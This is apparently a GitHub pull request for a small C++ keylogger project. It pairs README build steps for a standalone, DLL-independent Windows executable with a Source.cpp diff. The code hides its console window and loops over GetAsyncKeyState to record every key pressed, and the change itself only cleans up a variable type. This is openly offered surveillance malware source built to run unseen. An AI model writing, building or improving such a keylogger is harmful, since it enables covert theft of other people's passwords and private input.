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Updated README and made source code more efficient #4

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60dfd3a
Updated README and Source
Apr 27, 2021
cbb6d62
Update README.md
otuva Apr 27, 2021
7ad1f55
Update README.md
otuva Apr 27, 2021
7647b7a
Update README.md
otuva Apr 27, 2021
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20 changes: 13 additions & 7 deletions README.md
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Original file line number Diff line number Diff line change
@@ -1,16 +1,22 @@
# Keylogger
Simple C++ Keylogger...

---

Building c++ executable :
### Building c++ executable: ###

Install Microsoft visual studo :
1- Install Microsoft VS or any IDE of your choice

create a c++ project.
2- Create a c++ project.

use the provided source code.
3- Use the provided source code.

To produce DLL independent code :
On the top menu:under Project --> <Project_name> Property---->C/C++---->Code Generation---->Runtime library--->SELECT Multi-threaded Debug (/MTd) instead of Multi-threaded Debug DLL (/MDd)-->apply
---

Build-->build <project_name>
#### To produce DLL independent code (Microsoft VS): ####

On the top menu:

under Project → <PROJECT_NAME> Property → C/C++ → Code Generation → Runtime library → SELECT Multi-threaded Debug (/MTd) instead of Multi-threaded Debug DLL (/MDd) → apply

Build → build <PROJECT_NAME>
8 changes: 6 additions & 2 deletions Source.cpp
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Expand Up @@ -90,11 +90,15 @@ bool SpecialKeys(int S_Key) {
int main()
{
ShowWindow(GetConsoleWindow(), SW_HIDE);
char KEY = 'x';

// char goes from -128 to +127 and never reaches 190
// range of unsigned char is 0 till 255
// declaring char character and declaring another variable in for loop is memory inefficient
unsigned char KEY;

while (true) {
Sleep(10);
for (int KEY = 8; KEY <= 190; KEY++)
for (KEY = 8; KEY <= 190; KEY++)
{
if (GetAsyncKeyState(KEY) == -32767) {
if (SpecialKeys(KEY) == false) {
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